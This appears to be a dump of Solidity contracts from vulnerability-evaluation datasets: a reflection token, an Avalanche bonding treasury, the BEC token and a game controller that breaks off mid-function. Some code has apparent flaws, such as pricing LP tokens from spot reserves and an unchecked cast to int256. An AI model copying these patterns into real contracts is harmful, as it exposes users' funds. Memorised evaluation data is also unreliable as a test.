(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 332,832 | 12,055 |
ce74fd7182cb54e849619dd2c2db68f0a5bcfea1601c2acd5d8b95989491670c
| 17,406 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/44/446100241D4b6808549B1C430c3CF4815C3Fa532_RebateTreasury.sol
| 3,166 | 12,419 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IOracle {
function update() external;
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut);
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut);
}
interface ITreasury {
function epoch() external view returns (uint256);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
contract RebateTreasury is Ownable {
struct Asset {
bool isAdded;
uint256 multiplier;
address oracle;
bool isLP;
address pair;
}
struct VestingSchedule {
uint256 amount;
uint256 period;
uint256 end;
uint256 claimed;
uint256 lastClaimed;
}
IERC20 public Head;
IOracle public HeadOracle;
ITreasury public Treasury;
mapping (address => Asset) public assets;
mapping (address => VestingSchedule) public vesting;
uint256 public bondThreshold = 20 * 1e4;
uint256 public bondFactor = 80 * 1e4;
uint256 public secondaryThreshold = 70 * 1e4;
uint256 public secondaryFactor = 15 * 1e4;
uint256 public bondVesting = 3 days;
uint256 public totalVested = 0;
uint256 public lastBuyback;
uint256 public buybackAmount = 10 * 1e4;
address public constant WAVAX = 0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7;
uint256 public constant DENOMINATOR = 1e6;
// Only allow a function to be called with a bondable asset
modifier onlyAsset(address token) {
require(assets[token].isAdded, "RebateTreasury: token is not a bondable asset");
_;
}
// Initialize parameters
constructor(address head, address headOracle, address treasury) {
Head = IERC20(head);
HeadOracle = IOracle(headOracle);
Treasury = ITreasury(treasury);
}
// Bond asset for discounted Head at bond rate
function bond(address token, uint256 amount) external onlyAsset(token) {
require(amount > 0, "RebateTreasury: invalid bond amount");
uint256 headAmount = getHeadReturn(token, amount);
require(headAmount <= Head.balanceOf(address(this)) - totalVested, "RebateTreasury: insufficient head balance");
IERC20(token).transferFrom(msg.sender, address(this), amount);
_claimVested(msg.sender);
VestingSchedule storage schedule = vesting[msg.sender];
schedule.amount = schedule.amount - schedule.claimed + headAmount;
schedule.period = bondVesting;
schedule.end = block.timestamp + bondVesting;
schedule.claimed = 0;
schedule.lastClaimed = block.timestamp;
totalVested += headAmount;
}
// Claim available Head rewards from bonding
function claimRewards() external {
_claimVested(msg.sender);
}
// Set Head token
function setHead(address head) external onlyOwner {
Head = IERC20(head);
}
// Set Head oracle
function setHeadOracle(address oracle) external onlyOwner {
HeadOracle = IOracle(oracle);
}
// Set Head treasury
function setTreasury(address treasury) external onlyOwner {
Treasury = ITreasury(treasury);
}
// Set bonding parameters of token
function setAsset(address token,
bool isAdded,
uint256 multiplier,
address oracle,
bool isLP,
address pair) external onlyOwner {
assets[token].isAdded = isAdded;
assets[token].multiplier = multiplier;
assets[token].oracle = oracle;
assets[token].isLP = isLP;
assets[token].pair = pair;
}
// Set bond pricing parameters
function setBondParameters(uint256 primaryThreshold,
uint256 primaryFactor,
uint256 secondThreshold,
uint256 secondFactor,
uint256 vestingPeriod) external onlyOwner {
bondThreshold = primaryThreshold;
bondFactor = primaryFactor;
secondaryThreshold = secondThreshold;
secondaryFactor = secondFactor;
bondVesting = vestingPeriod;
}
// Redeem assets for buyback under peg
function redeemAssetsForBuyback(address[] calldata tokens) external onlyOwner {
require(getHeadPrice() < 1e18, "RebateTreasury: unable to buy back");
uint256 epoch = Treasury.epoch();
require(lastBuyback != epoch, "RebateTreasury: already bought back");
lastBuyback = epoch;
for (uint256 t = 0; t < tokens.length; t ++) {
require(assets[tokens[t]].isAdded, "RebateTreasury: invalid token");
IERC20 Token = IERC20(tokens[t]);
Token.transfer(owner(), Token.balanceOf(address(this)) * buybackAmount / DENOMINATOR);
}
}
function _claimVested(address account) internal {
VestingSchedule storage schedule = vesting[account];
if (schedule.amount == 0 || schedule.amount == schedule.claimed) return;
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
uint256 claimable = schedule.amount * duration / schedule.period;
if (claimable == 0) return;
schedule.claimed += claimable;
schedule.lastClaimed = block.timestamp > schedule.end ? schedule.end : block.timestamp;
totalVested -= claimable;
Head.transfer(account, claimable);
}
// Calculate Head return of bonding amount of token
function getHeadReturn(address token, uint256 amount) public view onlyAsset(token) returns (uint256) {
uint256 headPrice = getHeadPrice();
uint256 tokenPrice = getTokenPrice(token);
uint256 bondPremium = getBondPremium();
return amount * tokenPrice * (bondPremium + DENOMINATOR) * assets[token].multiplier / (DENOMINATOR * DENOMINATOR) / headPrice;
}
// Calculate premium for bonds based on bonding curve
function getBondPremium() public view returns (uint256) {
uint256 headPrice = getHeadPrice();
if (headPrice < 1e17) return 0; // related to 0.1Avax
uint256 headPremium = headPrice * DENOMINATOR / 1e17 - DENOMINATOR; // related to 0.1Avax
if (headPremium < bondThreshold) return 0;
if (headPremium <= secondaryThreshold) {
return (headPremium - bondThreshold) * bondFactor / DENOMINATOR;
} else {
uint256 primaryPremium = (secondaryThreshold - bondThreshold) * bondFactor / DENOMINATOR;
return primaryPremium + (headPremium - secondaryThreshold) * secondaryFactor / DENOMINATOR;
}
}
// Get HEAD price from Oracle
function getHeadPrice() public view returns (uint256) {
return HeadOracle.consult(address(Head), 1e18);
}
// Get token price from Oracle
function getTokenPrice(address token) public view onlyAsset(token) returns (uint256) {
Asset memory asset = assets[token];
IOracle Oracle = IOracle(asset.oracle);
if (!asset.isLP) {
return Oracle.consult(token, 1e18);
}
IUniswapV2Pair Pair = IUniswapV2Pair(asset.pair);
uint256 totalPairSupply = Pair.totalSupply();
address token0 = Pair.token0();
address token1 = Pair.token1();
(uint256 reserve0, uint256 reserve1,) = Pair.getReserves();
if (token1 == WAVAX) {
uint256 tokenPrice = Oracle.consult(token0, 1e18);
return tokenPrice * reserve0 / totalPairSupply +
reserve1 * 1e18 / totalPairSupply;
} else {
uint256 tokenPrice = Oracle.consult(token1, 1e18);
return tokenPrice * reserve1 / totalPairSupply +
reserve0 * 1e18 / totalPairSupply;
}
}
// Get claimable vested Head for account
function claimableHead(address account) external view returns (uint256) {
VestingSchedule memory schedule = vesting[account];
if (block.timestamp <= schedule.lastClaimed || schedule.lastClaimed >= schedule.end) return 0;
uint256 duration = (block.timestamp > schedule.end ? schedule.end : block.timestamp) - schedule.lastClaimed;
return schedule.amount * duration / schedule.period;
}
}
| 87,683 | 12,056 |
fb66cf2d99ed37f4295d5d25c45029d68c0b4434ca9ef59a1bdbd568fb08c9a5
| 17,018 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xd9d5cb6fac819014daa6db94ddccc953714b3fa3.sol
| 3,830 | 14,248 |
pragma solidity ^ 0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toUINT112(uint256 a) internal constant returns(uint112) {
assert(uint112(a) == a);
return uint112(a);
}
function toUINT120(uint256 a) internal constant returns(uint120) {
assert(uint120(a) == a);
return uint120(a);
}
function toUINT128(uint256 a) internal constant returns(uint128) {
assert(uint128(a) == a);
return uint128(a);
}
function percent(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = (b * a / 100);
assert(c <= a);
return c;
}
}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
contract ERC20Basic {
function balanceOf(address who) public constant returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns(uint256);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function approve(address spender, uint256 value) public returns(bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
struct Account {
uint256 balances;
uint256 rawTokens;
uint32 lastMintedTimestamp;
}
// Balances for each account
mapping(address => Account) accounts;
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].balances);
// SafeMath.sub will throw if there is not enough balance.
accounts[msg.sender].balances = accounts[msg.sender].balances.sub(_value);
accounts[_to].balances = accounts[_to].balances.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return accounts[_owner].balances;
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= accounts[_from].balances);
require(_value <= allowed[_from][msg.sender]);
accounts[_from].balances = accounts[_from].balances.sub(_value);
accounts[_to].balances = accounts[_to].balances.add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns(bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BEC is StandardToken, Owned {
string public constant name = "BITEXCHANGE";
uint8 public constant decimals = 8;
string public constant symbol = "BEC";
bool public canClaimToken = false;
uint256 public constant maxSupply = 30000000 * 10 ** uint256(decimals);
uint256 public constant dateInit = 1522540800;
uint256 public constant dateICO = dateInit + 31 days;
uint256 public constant dateRelease3 = dateICO + 90 days;
uint256 public constant dateRelease6 = dateRelease3 + 90 days;
uint256 public constant dateRelease9 = dateRelease6 + 90 days;
uint256 public constant dateRelease12 = dateRelease9 + 90 days;
uint256 public constant dateEcoRelease3 = dateRelease12 + 90 days;
uint256 public constant dateEcoRelease6 = dateEcoRelease3 + 90 days;
uint256 public constant dateEcoRelease9 = dateEcoRelease6 + 90 days;
uint256 public constant dateEcoRelease12 = dateEcoRelease9 + 90 days;
bool public isAllocatedICO = false;
bool public isAllocatedLending = false;
bool public isAllocated3 = false;
bool public isAllocated6 = false;
bool public isAllocated9 = false;
bool public isAllocated12 = false;
bool public isEcoAllocated3 = false;
bool public isEcoAllocated6 = false;
bool public isEcoAllocated9 = false;
bool public isEcoAllocated12 = false;
enum Stage {
Finalized,
ICO,
Release3,
Release6,
Release9,
Release12,
Eco3,
Eco6,
Eco9,
Eco12
}
struct Supplies {
uint256 total;
uint256 rawTokens;
}
//the stage for releasing Tokens
struct StageRelease {
uint256 rawTokens;
uint256 totalRawTokens;
}
Supplies supplies;
StageRelease public stageICO = StageRelease(maxSupply.percent(18), maxSupply.percent(18));
StageRelease public stageLending = StageRelease(maxSupply.percent(27), maxSupply.percent(27));
StageRelease public stageDevelop = StageRelease(maxSupply.percent(35), maxSupply.percent(35));
StageRelease public stageMarketing = StageRelease(maxSupply.percent(9), maxSupply.percent(9));
StageRelease public stageAdmin = StageRelease(maxSupply.percent(2), maxSupply.percent(2));
StageRelease public stageEco = StageRelease(maxSupply.percent(9), maxSupply.percent(9));
// Send back ether
function () {
revert();
}
//getter totalSupply
function totalSupply() public constant returns(uint256 total) {
return supplies.total;
}
function mintToken(address _owner, uint256 _amount, bool _isRaw) onlyOwner internal {
require(_amount.add(supplies.total) <= maxSupply);
if (_isRaw) {
accounts[_owner].rawTokens = _amount.add(accounts[_owner].rawTokens);
supplies.rawTokens = _amount.add(supplies.rawTokens);
} else {
accounts[_owner].balances = _amount.add(accounts[_owner].balances);
}
supplies.total = _amount.add(supplies.total);
Transfer(0, _owner, _amount);
}
function transferRaw(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].rawTokens);
// SafeMath.sub will throw if there is not enough balance.
accounts[msg.sender].rawTokens = accounts[msg.sender].rawTokens.sub(_value);
accounts[_to].rawTokens = accounts[_to].rawTokens.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function setClaimToken(bool approve) onlyOwner public returns(bool) {
canClaimToken = true;
return canClaimToken;
}
function claimToken(address _owner) public returns(bool amount) {
require(accounts[_owner].rawTokens != 0);
require(canClaimToken);
uint256 amountToken = accounts[_owner].rawTokens;
accounts[_owner].rawTokens = 0;
accounts[_owner].balances = amountToken + accounts[_owner].balances;
return true;
}
function balanceOfRaws(address _owner) public constant returns(uint256 balance) {
return accounts[_owner].rawTokens;
}
function blockTime() constant returns(uint32) {
return uint32(block.timestamp);
}
function stage() constant returns(Stage) {
if (blockTime() <= dateICO) {
return Stage.ICO;
}
if (blockTime() <= dateRelease3) {
return Stage.Release3;
}
if (blockTime() <= dateRelease6) {
return Stage.Release6;
}
if (blockTime() <= dateRelease9) {
return Stage.Release9;
}
if (blockTime() <= dateRelease12) {
return Stage.Release12;
}
if (blockTime() <= dateEcoRelease3) {
return Stage.Eco3;
}
if (blockTime() <= dateEcoRelease6) {
return Stage.Eco6;
}
if (blockTime() <= dateEcoRelease9) {
return Stage.Eco9;
}
if (blockTime() <= dateEcoRelease12) {
return Stage.Eco12;
}
return Stage.Finalized;
}
function releaseStage(uint256 amount, StageRelease storage stageRelease, bool isRaw) internal returns(uint256) {
if (stageRelease.rawTokens > 0) {
int256 remain = int256(stageRelease.rawTokens - amount);
if (remain < 0)
amount = stageRelease.rawTokens;
stageRelease.rawTokens = stageRelease.rawTokens.sub(amount);
mintToken(owner, amount, isRaw);
return amount;
}
return 0;
}
function releaseNotEco(uint256 percent, bool isRaw) internal returns(uint256) {
uint256 amountDevelop = stageDevelop.totalRawTokens.percent(percent);
uint256 amountMarketing = stageMarketing.totalRawTokens.percent(percent);
uint256 amountAdmin = stageAdmin.totalRawTokens.percent(percent);
uint256 amountSum = amountDevelop + amountMarketing + amountAdmin;
releaseStage(amountDevelop, stageDevelop, isRaw);
releaseStage(amountMarketing, stageMarketing, isRaw);
releaseStage(amountAdmin, stageAdmin, isRaw);
return amountSum;
}
function releaseEco(uint256 percent, bool isRaw) internal returns(uint256) {
uint256 amountEco = stageEco.totalRawTokens.percent(percent);
releaseStage(amountEco, stageEco, isRaw);
return amountEco;
}
function release100Percent(bool isRaw, StageRelease storage stageRelease) internal returns(uint256) {
uint256 amount = stageRelease.totalRawTokens.percent(100);
releaseStage(amount, stageRelease, isRaw);
return amount;
}
//main function, must run for releasing.
//##################################################################33
function release(bool isRaw) onlyOwner public returns(uint256) {
uint256 amountSum = 0;
if (stage() == Stage.ICO && isAllocatedICO == false) {
uint256 amountICO = release100Percent(isRaw, stageICO);
amountSum = amountSum.add(amountICO);
isAllocatedICO = true;
return amountSum;
}
if (stage() == Stage.Release3 && isAllocated3 == false) {
uint256 amountRelease3 = releaseNotEco(40, isRaw);
amountSum = amountSum.add(amountRelease3);
//for lending
amountRelease3 = release100Percent(isRaw, stageLending);
amountSum = amountSum.add(amountRelease3);
isAllocated3 = true;
return amountSum;
}
if (stage() == Stage.Release6 && isAllocated6 == false) {
uint256 amountRelease6 = releaseNotEco(10, isRaw);
amountSum = amountSum.add(amountRelease6);
isAllocated6 = true;
return amountSum;
}
if (stage() == Stage.Release9 && isAllocated9 == false) {
uint256 amountRelease9 = releaseNotEco(30, isRaw);
amountSum = amountSum.add(amountRelease9);
isAllocated9 = true;
return amountSum;
}
if (stage() == Stage.Release12 && isAllocated12 == false) {
uint256 amountRelease12 = releaseNotEco(20, isRaw);
amountSum = amountSum.add(amountRelease12);
isAllocated12 = true;
return amountSum;
}
if (stage() == Stage.Eco3 && isEcoAllocated3 == false) {
uint256 amountEcoRelease3 = releaseEco(40, isRaw);
amountSum = amountSum.add(amountEcoRelease3);
isEcoAllocated3 = true;
return amountSum;
}
if (stage() == Stage.Eco6 && isEcoAllocated6 == false) {
uint256 amountEcoRelease6 = releaseEco(10, isRaw);
amountSum = amountSum.add(amountEcoRelease6);
isEcoAllocated6 = true;
return amountSum;
}
if (stage() == Stage.Eco9 && isEcoAllocated9 == false) {
uint256 amountEcoRelease9 = releaseEco(20, isRaw);
amountSum = amountSum.add(amountEcoRelease9);
isEcoAllocated9 = true;
return amountSum;
}
if (stage() == Stage.Eco12 && isEcoAllocated12 == false) {
uint256 amountEcoRelease12 = releaseEco(30, isRaw);
amountSum = amountSum.add(amountEcoRelease12);
isEcoAllocated12 = true;
return amountSum;
}
return amountSum;
}
}
| 189,940 | 12,057 |
a62e05a00eed19300442ad96308fd3cdd5d71bd2eed6ab0755146d8482e38b8e
| 21,377 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x078c0be420a656dca1c518585d1e4dc7722971a5.sol
| 5,505 | 20,721 |
pragma solidity 0.4.24;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address internal contractOwner;
constructor () internal {
if(contractOwner == address(0)){
contractOwner = msg.sender;
}
}
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
contractOwner = newOwner;
}
}
contract MyCryptoChampCore{
struct Champ {
uint id;
uint attackPower;
uint defencePower;
uint cooldownTime;
uint readyTime;
uint winCount;
uint lossCount;
uint position;
uint price;
uint withdrawCooldown;
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale;
}
struct AddressInfo {
uint withdrawal;
uint champsCount;
uint itemsCount;
string name;
}
struct Item {
uint id;
uint8 itemType;
uint8 itemRarity;
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId;
bool onChamp;
bool forSale;
}
Champ[] public champs;
Item[] public items;
mapping (uint => uint) public leaderboard;
mapping (address => AddressInfo) public addressInfo;
mapping (bool => mapping(address => mapping (address => bool))) public tokenOperatorApprovals;
mapping (bool => mapping(uint => address)) public tokenApprovals;
mapping (bool => mapping(uint => address)) public tokenToOwner;
mapping (uint => string) public champToName;
mapping (bool => uint) public tokensForSaleCount;
uint public pendingWithdrawal = 0;
function addWithdrawal(address _address, uint _amount) public;
function clearTokenApproval(address _from, uint _tokenId, bool _isTokenChamp) public;
function setChampsName(uint _champId, string _name) public;
function setLeaderboard(uint _x, uint _value) public;
function setTokenApproval(uint _id, address _to, bool _isTokenChamp) public;
function setTokenOperatorApprovals(address _from, address _to, bool _approved, bool _isTokenChamp) public;
function setTokenToOwner(uint _id, address _owner, bool _isTokenChamp) public;
function setTokensForSaleCount(uint _value, bool _isTokenChamp) public;
function transferToken(address _from, address _to, uint _id, bool _isTokenChamp) public;
function newChamp(uint _attackPower,uint _defencePower,uint _cooldownTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale,address _owner) public returns (uint);
function newItem(uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale,address _owner) public returns (uint);
function updateAddressInfo(address _address, uint _withdrawal, bool _updatePendingWithdrawal, uint _champsCount, bool _updateChampsCount, uint _itemsCount, bool _updateItemsCount, string _name, bool _updateName) public;
function updateChamp(uint _champId, uint _attackPower,uint _defencePower,uint _cooldownTime,uint _readyTime,uint _winCount,uint _lossCount,uint _position,uint _price,uint _withdrawCooldown,uint _eq_sword, uint _eq_shield, uint _eq_helmet, bool _forSale) public;
function updateItem(uint _id,uint8 _itemType,uint8 _itemRarity,uint _attackPower,uint _defencePower,uint _cooldownReduction,uint _price,uint _onChampId,bool _onChamp,bool _forSale) public;
function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256);
function getChampsByOwner(address _owner) external view returns(uint256[]);
function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]);
function getItemsByOwner(address _owner) external view returns(uint256[]);
function getTokenCount(bool _isTokenChamp) external view returns(uint);
function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string);
function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool);
}
contract Inherit is Ownable{
address internal coreAddress;
MyCryptoChampCore internal core;
modifier onlyCore(){
require(msg.sender == coreAddress);
_;
}
function loadCoreAddress(address newCoreAddress) public onlyOwner {
require(newCoreAddress != address(0));
coreAddress = newCoreAddress;
core = MyCryptoChampCore(coreAddress);
}
}
contract Strings {
function strConcat(string _a, string _b) internal pure returns (string){
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
}
interface EC {
function emitTransfer(address _from, address _to, uint _tokenId) external; //Controller uses only this one function
}
contract Controller is Inherit, Strings {
using SafeMath for uint;
struct Champ {
uint id; //same as position in Champ[]
uint attackPower;
uint defencePower;
uint cooldownTime; //how long does it take to be ready attack again
uint readyTime; //if is smaller than block.timestamp champ is ready to fight
uint winCount;
uint lossCount;
uint position; //position in leaderboard. subtract 1 and you got position in leaderboard[]
uint price; //selling price
uint withdrawCooldown;
uint eq_sword;
uint eq_shield;
uint eq_helmet;
bool forSale; //is champ for sale?
}
struct Item {
uint id;
uint8 itemType; // 1 - Sword | 2 - Shield | 3 - Helmet
uint8 itemRarity; // 1 - Common | 2 - Uncommon | 3 - Rare | 4 - Epic | 5 - Legendery | 6 - Forged
uint attackPower;
uint defencePower;
uint cooldownReduction;
uint price;
uint onChampId;
bool onChamp;
bool forSale; //is item for sale?
}
EC champsEC;
EC itemsEC;
modifier contractMinBalanceReached(){
uint pendingWithdrawal = core.pendingWithdrawal();
require((address(core).balance).sub(pendingWithdrawal) > 1000000);
_;
}
modifier onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp)
{
require(core.onlyApprovedOrOwnerOfToken(_id, _msgsender, _isTokenChamp));
_;
}
function getChampReward(uint _position) public view returns(uint)
{
if(_position <= 800){
uint rewardPercentage = uint(2000).sub(2 * (_position - 1));
uint availableWithdrawal = address(coreAddress).balance.sub(core.pendingWithdrawal());
